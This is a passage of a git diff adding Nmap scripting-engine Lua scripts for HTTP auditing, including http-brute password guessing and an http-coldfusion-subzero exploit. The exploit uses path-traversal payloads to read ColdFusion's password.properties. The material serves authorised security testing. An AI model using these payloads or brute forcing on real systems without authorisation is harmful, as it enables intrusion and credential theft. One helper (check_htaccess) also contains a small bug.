+Performs brute force password auditing against http basic, digest and ntlm authentication.
+
+This script uses the unpwdb and brute libraries to perform password
+guessing. Any successful guesses are stored in the nmap registry, using
+the creds library, for other scripts to use.
+]]
+
+---
+-- @usage
+-- nmap --script http-brute -p 80 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-brute:
+-- | Accounts:
+-- | user:user - Valid credentials
+-- |_ Statistics: Performed 123 guesses in 1 seconds, average tps: 123
+--
+--
+-- @args http-brute.path points to the path protected by authentication (default: <code>/</code>)
+-- @args http-brute.hostname sets the host header in case of virtual hosting
+-- @args http-brute.method sets the HTTP method to use (default: <code>GET</code>)
+--
+-- @xmloutput
+-- <table key="Accounts">
+-- <table>
+-- <elem key="state">Valid credentials</elem>
+-- <elem key="username">user</elem>
+-- <elem key="password">user</elem>
+-- </table>
+-- </table>
+-- <elem key="Statistics">Performed 123 guesses in 1 seconds, average
+-- tps: 123</elem>
+
+--
+-- Version 0.1
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Version 0.2
+-- 07/26/2012 - v0.2 - added digest auth support (Piotr Olma)
+-- Version 0.3
+-- Created 06/20/2015 - added ntlm auth support (Gyanendra Mishra)
+
+
+author = {"Patrik Karlsson", "Piotr Olma", "Gyanendra Mishra"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+Driver = {
+
+ new = function(self, host, port, opts)
+ local o = {host=host, port=port, path=opts.path, method=opts.method, authmethod=opts.authmethod}
+ setmetatable(o, self)
+ self.__index = self
+ o.hostname = stdnse.get_script_args("http-brute.hostname")
+ return o
+ end,
+
+ connect = function( self )
+ -- This will cause problems, as there is no way for us to "reserve"
+ -- a socket. We may end up here early with a set of credentials
+ -- which won't be guessed until the end, due to socket exhaustion.
+ return true
+ end,
+
+ get_opts = function( self )
+ -- we need to supply the no_cache directive, or else the http library
+ -- incorrectly tells us that the authentication was successful
+ local opts = {
+ auth = { },
+ no_cache = true,
+ bypass_cache = true,
+ header = {
+ -- nil just means not set, so default http.lua behavior
+ Host = self.hostname,
+ }
+ }
+ if self.authmethod == "digest" then
+ opts.auth.digest = true
+ elseif self.authmethod == "ntlm" then
+ opts.auth.ntlm = true
+ end
+ return opts
+ end,
+
+ login = function( self, username, password )
+ local opts_table = self:get_opts()
+ opts_table.auth.username = username
+ opts_table.auth.password = password
+
+ local response = http.generic_request( self.host, self.port, self.method, self.path, opts_table)
+
+ if not response.status then
+ local err = brute.Error:new(response["status-line"])
+ err:setRetry(true)
+ return false, err
+ end
+
+ -- Checking for ~= 401 *should* work to
+ -- but gave me a number of false positives last time I tried.
+ -- We decided to change it to ~= 4xx.
+ if ( response.status < 400 or response.status > 499 ) then
+ return true, creds.Account:new( username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+
+ check = function( self )
+ return true
+ end,
+
+}
+
+
+action = function( host, port )
+ local status, result
+ local path = stdnse.get_script_args("http-brute.path") or "/"
+ local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
+
+ if ( not(path) ) then
+ return stdnse.format_output(false, "No path was specified (see http-brute.path)")
+ end
+
+ local response = http.generic_request( host, port, method, path, { no_cache = true } )
+
+ if ( response.status ~= 401 ) then
+ return (" \n Path \"%s\" does not require authentication"):format(path)
+ end
+
+ -- check if digest or ntlm auth is required
+ local authmethod = "basic"
+ local h = response.header['www-authenticate']
+ if h then
+ h = h:lower()
+ if string.find(h, 'digest.-realm') then
+ authmethod = "digest"
+ end
+ if string.find(h, 'ntlm') then
+ authmethod = "ntlm"
+ end
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, {method=method, path=path, authmethod=authmethod})
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-cakephp-version.nse b/scripts/http-cakephp-version.nse
new file mode 100644
index 0000000..0e0db5f
--- /dev/null
+++ b/scripts/http-cakephp-version.nse
@@ -0,0 +1,113 @@
+description = [[
+Obtains the CakePHP version of a web application built with the CakePHP
+framework by fingerprinting default files shipped with the CakePHP framework.
+
+This script queries the files 'vendors.php', 'cake.generic.css',
+'cake.icon.png' and 'cake.icon.gif' to try to obtain the version of the CakePHP
+installation.
+
+Since installations that had been upgraded are prone to false positives due to
+old files that aren't removed, the script displays 3 different versions:
+* Codebase: Taken from the existence of vendors.php (1.1.x or 1.2.x if it does and 1.3.x otherwise)
+* Stylesheet: Taken from cake.generic.css
+* Icon: Taken from cake.icon.gif or cake.icon.png
+
+For more information about CakePHP visit: http://www.cakephp.org/.
+]]
+
+---
+-- @usage
+-- nmap -p80,443 --script http-cakephp-version <host/ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-cakephp-version: Version of codebase: 1.2.x
+-- | Version of icons: 1.2.x
+-- | Version of stylesheet: 1.2.6
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","safe"}
+
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+local openssl = stdnse.silent_require "openssl"
+
+portrule = shortport.http
+
+-- Queries for fingerprinting
+local PNG_ICON_QUERY = "/img/cake.icon.png"
+local GIF_ICON_QUERY = "/img/cake.icon.gif"
+local STYLESHEET_QUERY = "/css/cake.generic.css"
+local VENDORS_QUERY = "/js/vendors.php"
+
+-- Cakephp's stylesheets hashes
+local CAKEPHP_STYLESHEET_HASHES = {
+ ["aaf0340c16415585554a7aefde2778c4"] = {"1.1.12"},
+ ["8f8a877d924aa26ccd66c84ff8f8c8fe"] = {"1.1.14"},
+ ["02a661c167affd9deda2a45f4341297e"] = {"1.1.17", "1.1.20"},
+ ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"1.2.0 - 1.2.5", "1.3.0 Alpha"},
+ ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"1.2.6"},
+ ["2e7f5372931a7f6f86786e95871ac947"] = {"1.2.7 - 1.2.9"},
+ ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"1.3.0 beta"},
+ ["3c31e4674f42a49108b5300f8e73be26"] = {"1.3.0 RC1 - 1.3.7"}
+}
+
+action = function(host, port)
+ local response, png_icon_response, gif_icon_response
+ local icon_versions, stylesheet_versions
+ local icon_hash, stylesheet_hash
+ local output_lines
+ local installation_version
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- Are the default icons there?
+ png_icon_response = http.get(host, port, PNG_ICON_QUERY,{redirect_ok=false})
+ gif_icon_response = http.get(host, port, GIF_ICON_QUERY,{redirect_ok=false})
+ if png_icon_response.body and png_icon_response.status == 200 then
+ icon_versions = {"1.3.x"}
+ elseif gif_icon_response.body and gif_icon_response.status == 200 then
+ icon_versions = {"1.2.x"}
+ end
+
+ -- Download cake.generic.css and fingerprint
+ response = http.get(host, port, STYLESHEET_QUERY,{redirect_ok=false})
+ if response.body and response.status == 200 then
+ stylesheet_hash = stdnse.tohex(openssl.md5(response.body))
+ stylesheet_versions = CAKEPHP_STYLESHEET_HASHES[stylesheet_hash]
+ end
+ -- Is /js/vendors.php there?
+ response = http.get(host, port, VENDORS_QUERY,{redirect_ok=false})
+ if response.body and response.status == 200 then
+ installation_version = {"1.1.x","1.2.x"}
+ elseif response.status ~= 200 and (icon_versions or stylesheet_versions) then
+ installation_version = {"1.3.x"}
+ end
+ -- Prepare output
+ output_lines = {}
+ if installation_version then
+ output_lines[#output_lines + 1] = "Version of codebase: " .. table.concat(installation_version, ", ")
+ end
+ if icon_versions then
+ output_lines[#output_lines + 1] = "Version of icons: " .. table.concat(icon_versions, ", ")
+ end
+ if stylesheet_versions then
+ output_lines[#output_lines + 1] = "Version of stylesheet: " .. table.concat(stylesheet_versions, ", ")
+ elseif stylesheet_hash and nmap.verbosity() >= 2 then
+ output_lines[#output_lines + 1] = "Default stylesheet has an unknown hash: " .. stylesheet_hash
+ end
+ if #output_lines > 0 then
+ return table.concat(output_lines, "\n")
+ end
+end
diff --git a/scripts/http-chrono.nse b/scripts/http-chrono.nse
new file mode 100644
index 0000000..897ae1e
--- /dev/null
+++ b/scripts/http-chrono.nse
@@ -0,0 +1,136 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local math = require "math"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Measures the time a website takes to deliver a web page and returns
+the maximum, minimum and average time it took to fetch a page.
+
+Web pages that take longer time to load could be abused by attackers in DoS or
+DDoS attacks due to the fact that they are likely to consume more resources on
+the target server. This script could help identifying these web pages.
+]]
+
+---
+-- @usage
+-- nmap --script http-chrono <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-chrono: Request times for /; avg: 2.98ms; min: 2.63ms; max: 3.62ms
+--
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-chrono:
+-- | page avg min max
+-- | /admin/ 1.91ms 1.65ms 2.05ms
+-- | /manager/status 2.14ms 2.03ms 2.24ms
+-- | /manager/html 2.26ms 2.09ms 2.53ms
+-- | /examples/servlets/ 2.43ms 1.97ms 3.62ms
+-- | /examples/jsp/snp/snoop.jsp 2.75ms 2.59ms 3.13ms
+-- | / 2.78ms 2.54ms 3.36ms
+-- | /docs/ 3.14ms 2.61ms 3.53ms
+-- | /RELEASE-NOTES.txt 3.70ms 2.97ms 5.58ms
+-- | /examples/jsp/ 4.93ms 3.39ms 8.30ms
+-- |_/docs/changelog.html 10.76ms 10.14ms 11.46ms
+--
+-- @args http-chrono.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-chrono.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 1)
+-- @args http-chrono.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-chrono.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-chrono.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+-- @args http-chrono.tries the number of times to fetch a page based on which
+-- max, min and average calculations are performed.
+
+
+author = "Ange Gutek"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local maxpages = stdnse.get_script_args(SCRIPT_NAME .. ".maxpagecount") or 1
+ local tries = stdnse.get_script_args(SCRIPT_NAME .. ".tries") or 5
+
+ local dump = {}
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, maxpagecount = tonumber(maxpages) } )
+ crawler:set_timeout(10000)
+
+ -- launch the crawler
+ while(true) do
+ local start = stdnse.clock_ms()
+ local status, r = crawler:crawl()
+ if ( not(status) ) then
+ break
+ end
+ local chrono = stdnse.clock_ms() - start
+ dump[chrono] = tostring(r.url)
+ end
+
+ -- retest each page x times to find an average speed
+ -- a significant diff between instant and average may be an evidence of some weakness
+ -- either on the webserver or its database
+ local average,count,page_test
+ local results = {}
+ for result, page in pairs (dump) do
+ local url_host, url_page = page:match("//(.-)/(.*)")
+ url_host = string.gsub(url_host,":%d*","")
+
+ local min, max, page_test
+ local bulk_start = stdnse.clock_ms()
+ for i = 1,tries do
+ local start = stdnse.clock_ms()
+ if ( url_page:match("%?") ) then
+ page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
+ else
+ page_test = http.get(url_host,port,"/"..url_page.."?test="..math.random(100), { no_cache = true })
+ end
+ local count = stdnse.clock_ms() - start
+ if ( not(max) or max < count ) then
+ max = count
+ end
+ if ( not(min) or min > count ) then
+ min = count
+ end
+ end
+
+ local count = stdnse.clock_ms() - bulk_start
+ table.insert(results, { min = min, max = max, avg = (count / tries), page = url.parse(page).path })
+ end
+
+ local output
+ if ( #results > 1 ) then
+ table.sort(results, function(a, b) return a.avg < b.avg end)
+ output = tab.new(4)
+ tab.addrow(output, "page", "avg", "min", "max")
+ for _, entry in ipairs(results) do
+ tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
+ end
+ output = "\n" .. tab.dump(output)
+ else
+ local entry = results[1]
+ output = ("Request times for %s; avg: %.2fms; min: %.2fms; max: %.2fms"):format(entry.page, entry.avg, entry.min, entry.max)
+ end
+ return output
+end
+
+
+
+
diff --git a/scripts/http-cisco-anyconnect.nse b/scripts/http-cisco-anyconnect.nse
new file mode 100644
index 0000000..381b1c8
--- /dev/null
+++ b/scripts/http-cisco-anyconnect.nse
@@ -0,0 +1,60 @@
+local anyconnect = require('anyconnect')
+local stdnse = require('stdnse')
+local shortport = require('shortport')
+local nmap = require('nmap')
+
+description = [[
+Connect as Cisco AnyConnect client to a Cisco SSL VPN and retrieves version
+and tunnel information.
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script http-cisco-anyconnect <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | http-cisco-anyconnect:
+-- | version: 9.1(5)
+-- | tunnel-group: VPN
+-- | group-alias: vpn
+-- | config-hash: 7328433471719
+-- |_ host: vpn.example.com
+--
+-- @xmloutput
+-- <elem key="version">9.1(5)</elem>
+-- <elem key="tunnel-group">VPN</elem>
+-- <elem key="group-alias">vpn</elem>
+-- <elem key="config-hash">7328433471719</elem>
+-- <elem key="host">vpn.example.com</elem>
+--
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) and shortport.http(host, port)
+end
+
+action = function(host, port)
+ local ac = anyconnect.Cisco.AnyConnect:new(host, port)
+ local status, err = ac:connect()
+ if not status then
+ return stdnse.format_output(false, err)
+ else
+ local o = stdnse.output_table()
+ local xmltags = { 'version', 'tunnel-group', 'group-alias',
+ 'config-hash', 'host-scan-ticket', 'host-scan-token',
+ 'host-scan-base-uri', 'host-scan-wait-uri', 'host' }
+
+ -- add login banner if running in debug mode
+ if nmap.verbosity() > 2 then xmltags[#xmltags] = 'banner' end
+
+ for _, tag in ipairs(xmltags) do
+ o[tag] = ac.conn_attr[tag]
+ end
+ return o
+ end
+end
diff --git a/scripts/http-coldfusion-subzero.nse b/scripts/http-coldfusion-subzero.nse
new file mode 100644
index 0000000..ae7d5ba
--- /dev/null
+++ b/scripts/http-coldfusion-subzero.nse
@@ -0,0 +1,147 @@
+description = [[
+Attempts to retrieve version, absolute path of administration panel and the
+file 'password.properties' from vulnerable installations of ColdFusion 9 and
+10.
+
+This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
+]]
+
+---
+-- @see http-adobe-coldfusion-apsa1301.nse
+-- @see http-vuln-cve2009-3960.nse
+-- @see http-vuln-cve2010-2861.nse
+--
+-- @usage nmap -sV --script http-coldfusion-subzero <target>
+-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-coldfusion-subzero:
+-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
+-- | version: 9
+-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
+-- | rdspassword=
+-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
+-- |_encrypted=true
+--
+-- @xmloutput
+-- <elem key="version">9</elem>
+-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012&#xd;&#xa;rdspassword=&#xd;&#xa;password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0&#xd;&#xa;encrypted=true&#xd;&#xa;</elem>
+-- @args http-coldfusion-subzero.basepath Base path. Default: /.
+--
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local url = require "url"
+local openssl = stdnse.silent_require "openssl"
+
+portrule = shortport.http
+
+local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&\z
+attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&\z
+attributes.var=it&attributes.jscript=false&attributes.type=text/html&\z
+attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
+local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
+local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id\z
+=it&attributes.file=../../administrator/mail/download.cfm&filename="
+local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&\z
+attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&\z
+thisTag.executionmode=end&thisTag.generatedContent=htp"
+local CREDENTIALS_PAYLOADS = {
+ "../../lib/password.properties",
+ "..\\..\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
+ "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
+ "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
+ "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
+ "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"
+}
+
+---
+-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY
+-- value from the header 'set-cookie'
+--
+local function get_installation_path(host, port, basepath)
+ local req = http.get(host, port, basepath..PATH_PAYLOAD)
+ if req.header['set-cookie'] then
+ stdnse.debug1("Header 'set-cookie' detected in response.")
+ local _, _, path = string.find(req.header['set-cookie'],
+ "path=/, ANALYZER_DIRECTORY=(.-);path=/")
+ if path then
+ stdnse.debug1("Extracted path:%s", path)
+ return path
+ end
+ end
+ return nil
+end
+
+---
+-- Extracts version by comparing an image with known md5 checksums
+--
+local function get_version(host, port, basepath)
+ local version = -1
+ local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
+ if img_req.status == 200 then
+ local md5chk = stdnse.tohex(openssl.md5(img_req.body))
+ if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
+ stdnse.debug1("CF version 10 detected.")
+ version = 10
+ elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
+ stdnse.debug1("CF version 9 detected.")
+ version = 9
+ elseif md5chk == "" then
+ stdnse.debug1("CF version 8 detected.")
+ version = 8
+ else
+ stdnse.debug1("Could not determine version.")
+ version = nil
+ end
+ end
+ return version
+end
+
+---
+-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
+local function exploit(host, port, basepath)
+ for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
+ local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
+ if req.body and string.find(req.body, "encrypted=true") then
+ stdnse.debug1("String pattern found. Exploitation worked with vector '%s'.", vector)
+ return true, req.body
+ end
+ end
+end
+
+action = function(host, port)
+ local output_tab = stdnse.output_table()
+ local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
+
+ local installation_path = get_installation_path(host, port, basepath)
+ local version_num = get_version(host, port, basepath)
+ local status, file = exploit(host, port, basepath)
+
+ if status then
+ if version_num then
+ output_tab.version = version_num
+ end
+ if installation_path then
+ output_tab.installation_path = url.unescape(installation_path)
+ end
+ output_tab.password_properties = file
+ else
+ return nil
+ end
+
+ return output_tab
+end
diff --git a/scripts/http-comments-displayer.nse b/scripts/http-comments-displayer.nse
new file mode 100644
index 0000000..11e2120
--- /dev/null
+++ b/scripts/http-comments-displayer.nse
@@ -0,0 +1,156 @@
+description = [[
+Extracts and outputs HTML and JavaScript comments from HTTP responses.
+]]
+
+---
+-- @usage nmap -p80 --script http-comments-displayer.nse <host>
+--
+-- This scripts uses patterns to extract HTML comments from HTTP
+-- responses and writes these to the command line.
+--
+-- @args http-comments-displayer.singlepages Some single pages
+-- to check for comments. For example, {"/", "/wiki"}.
+-- Default: nil (crawler mode on)
+-- @args http-comments-displayer.context declares the number of chars
+-- to extend our final strings. This is useful when we need to
+-- to see the code that the comments are referring to.
+-- Default: 0, Maximum Value: 50
+--
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-comments-displayer:
+-- | Path: /
+-- | Line number: 214
+-- | Comment:
+-- | <!-- This needs fixing. -->
+-- |
+-- | Path: /register.php
+-- | Line number: 15
+-- | Comment:
+-- |_ /* We should avoid the hardcoding here */
+--
+---
+
+categories = {"discovery", "safe"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+local httpspider = require "httpspider"
+
+PATTERNS = {
+ "<!%-.-%-!?>", -- HTML comment
+ "/%*.-%*/", -- Javascript multiline comment
+ "[ ,\n]//.-\n" -- Javascript one-line comment. Could be better?
+ }
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+-- Returns comment's line number by counting the occurrences of the
+-- new line character ("\n") from the start of the HTML file until
+-- the related comment.
+local getLineNumber = function(body, comment)
+
+ local partofresponse = body:find(comment, 1, true)
+ partofresponse = body:sub(0, partofresponse)
+ local _, count = string.gsub(partofresponse, "\n", "\n")
+
+ return count + 1
+
+end
+
+action = function(host, port)
+
+ local context = stdnse.get_script_args("http-comments-displayer.context")
+ local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
+
+ local comments = {}
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ if context then
+ if (tonumber(context) > 100) then
+ context = 100
+ end
+
+ -- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
+ for i, pattern in ipairs(PATTERNS) do
+ PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
+ end
+ end
+
+ local index, k, target, response, path
+ while (true) do
+
+ if singlepages then
+ k, target = next(singlepages, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ path = target
+
+ else
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+ end
+
+ if response.body then
+
+ for i, pattern in ipairs(PATTERNS) do
+ for c in string.gmatch(response.body, pattern) do
+
+ local linenumber = getLineNumber(response.body, c)
+
+ comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
+ end
+ end
+
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+
+ end
+
+ -- If the table is empty.
+ if next(comments) == nil then
+ return "Couldn't find any comments."
+ end
+
+ -- Create a nice output.
+ local results = {}
+ for c, _ in pairs(comments) do
+ table.insert(results, {_, {{c}}})
+ end
+
+ results.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, results)
+
+end
diff --git a/scripts/http-config-backup.nse b/scripts/http-config-backup.nse
new file mode 100644
index 0000000..716c93a
--- /dev/null
+++ b/scripts/http-config-backup.nse
@@ -0,0 +1,242 @@
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Checks for backups and swap files of common content management system
+and web server configuration files.
+
+When web server files are edited in place, the text editor can leave
+backup or swap files in a place where the web server can serve them. The
+script checks for these files:
+
+* <code>wp-config.php</code>: WordPress
+* <code>config.php</code>: phpBB, ExpressionEngine
+* <code>configuration.php</code>: Joomla
+* <code>LocalSettings.php</code>: MediaWiki
+* <code>/mediawiki/LocalSettings.php</code>: MediaWiki
+* <code>mt-config.cgi</code>: Movable Type
+* <code>mt-static/mt-config.cgi</code>: Movable Type
+* <code>settings.php</code>: Drupal
+* <code>.htaccess</code>: Apache
+
+And for each of these file applies the following transformations (using
+<code>config.php</code> as an example):
+
+* <code>config.bak</code>: Generic backup.
+* <code>config.php.bak</code>: Generic backup.
+* <code>config.php~</code>: Vim, Gedit.
+* <code>#config.php#</code>: Emacs.
+* <code>config copy.php</code>: Mac OS copy.
+* <code>Copy of config.php</code>: Windows copy.
+* <code>config.php.save</code>: GNU Nano.
+* <code>.config.php.swp</code>: Vim swap.
+* <code>config.php.swp</code>: Vim swap.
+* <code>config.php.old</code>: Generic backup.
+
+This script is inspired by the CMSploit program by Feross Aboukhadijeh:
+http://www.feross.org/cmsploit/.
+]];
+
+---
+-- @usage
+-- nmap --script=http-config-backup <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-config-backup:
+-- | /%23wp-config.php%23 HTTP/1.1 200 OK
+-- |_ /config.php~ HTTP/1.1 200 OK
+--
+-- @args http-config-backup.path the path where the CMS is installed
+-- @args http-config-backup.save directory to save all the valid config files found
+--
+
+author = "Riccardo Cecolin";
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html";
+categories = { "auth", "intrusive" };
+
+
+portrule = shortport.http;
+
+local function make_grep(pattern)
+ return function(s)
+ return string.match(s, pattern)
+ end
+end
+
+local grep_php = make_grep("<%?php");
+local grep_cgipath = make_grep("CGIPath");
+
+local function check_htaccess(s)
+ return string.match("<Files") or string.match(s, "RewriteRule")
+end
+
+local CONFIGS = {
+ { filename = "wp-config.php", check = grep_php }, -- WordPress
+ { filename = "config.php", check = grep_php }, -- phpBB, ExpressionEngine
+ { filename = "configuration.php", check = grep_php }, -- Joomla
+ { filename = "LocalSettings.php", check = grep_php }, -- MediaWiki
+ { filename = "/mediawiki/LocalSettings.php", check = grep_php }, -- MediaWiki
+ { filename = "mt-config.cgi", check = grep_cgipath }, -- Movable Type
+ { filename = "mt-static/mt-config.cgi", check = grep_cgipath }, -- Movable Type
+ { filename = "settings.php", check = grep_php }, -- Drupal
+ { filename = ".htaccess", check = check_htaccess }, -- Apache
+};
+
+-- Return directory, filename pair. directory may be empty.
+local function splitdir(path)
+ local dir, filename
+
+ dir, filename = string.match(path, "^(.*/)(.*)$")
+ if not dir then
+ dir = ""
+ filename = path
+ end
+
+ return dir, filename
+end
+
+-- Return basename, extension pair. extension may be empty.
+local function splitext(filename)
+ local base, ext;
+
+ base, ext = string.match(filename, "^(.+)(%..+)")
+ if not base then
+ base = filename
+ ext = ""
+ end
+
+ return base, ext
+end
+
+-- Functions mangling filenames.
+local TRANSFORMS = {
+ function(fn)
+ local base, ext = splitext(fn);
+ if ext ~= "" then
+ return base .. ".bak" -- generic bak file
+ end
+ end,
+ function(fn) return fn .. ".bak" end,
+ function(fn) return fn .. "~" end, -- vim, gedit
+ function(fn) return "#" .. fn .. "#" end, -- Emacs
+ function(fn)
+ local base, ext = splitext(fn);
+ return base .. " copy" .. ext -- mac copy
+ end,
+ function(fn) return "Copy of " .. fn end, -- windows copy
+ function(fn) return fn .. ".save" end, -- nano
+ function(fn) if string.sub(fn, 1, 1) ~= "." then return "." .. fn .. ".swp" end end, -- vim swap
+ function(fn) return fn .. ".swp" end, -- vim swap
+ function(fn) return fn .. ".old" end, -- generic backup
+};
+
+---
+--Creates combinations of backup names for a given filename
+--Taken from: http-backup-finder.nse
+local function backupNames (filename)
+ local dir, basename;
+
+ dir, basename = splitdir(filename);
+ return coroutine.wrap(function()
+ for _, transform in ipairs(TRANSFORMS) do
+ local result = transform(basename);
+
+ if result == nil then
+ elseif type(result) == "string" then
+ coroutine.yield(dir .. result);
+ result = {result}
+ elseif type(result) == "table" then
+ for _, r in ipairs(result) do
+ coroutine.yield(dir .. r);
+ end
+ end
+ end
+ end)
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+-- @param filename Filename to write
+-- @param contents Content of file
+-- @return True if file was written successfully
+local function write_file (filename, contents)
+ local f, err = io.open(filename, "w");
+ if not f then
+ return f, err;
+ end
+ f:write(contents);
+ f:close();
+ return true;
+end
+
+action = function (host, port)
+ local path = stdnse.get_script_args("http-config-backup.path") or "/";
+ local save = stdnse.get_script_args("http-config-backup.save");
+
+ local backups = {};
+
+ if not path:match("/$") then
+ path = path .. "/";
+ end
+
+ if not path:match("^/") then
+ path = "/" .. path;
+ end
+
+ if (save and not(save:match("/$") ) ) then
+ save = save .. "/";
+ end
+
+ local status_404, result_404, known_404 = http.identify_404(host, port)
+ if not status_404 then
+ stdnse.debug1("Can't distinguish 404 response. Quitting.")
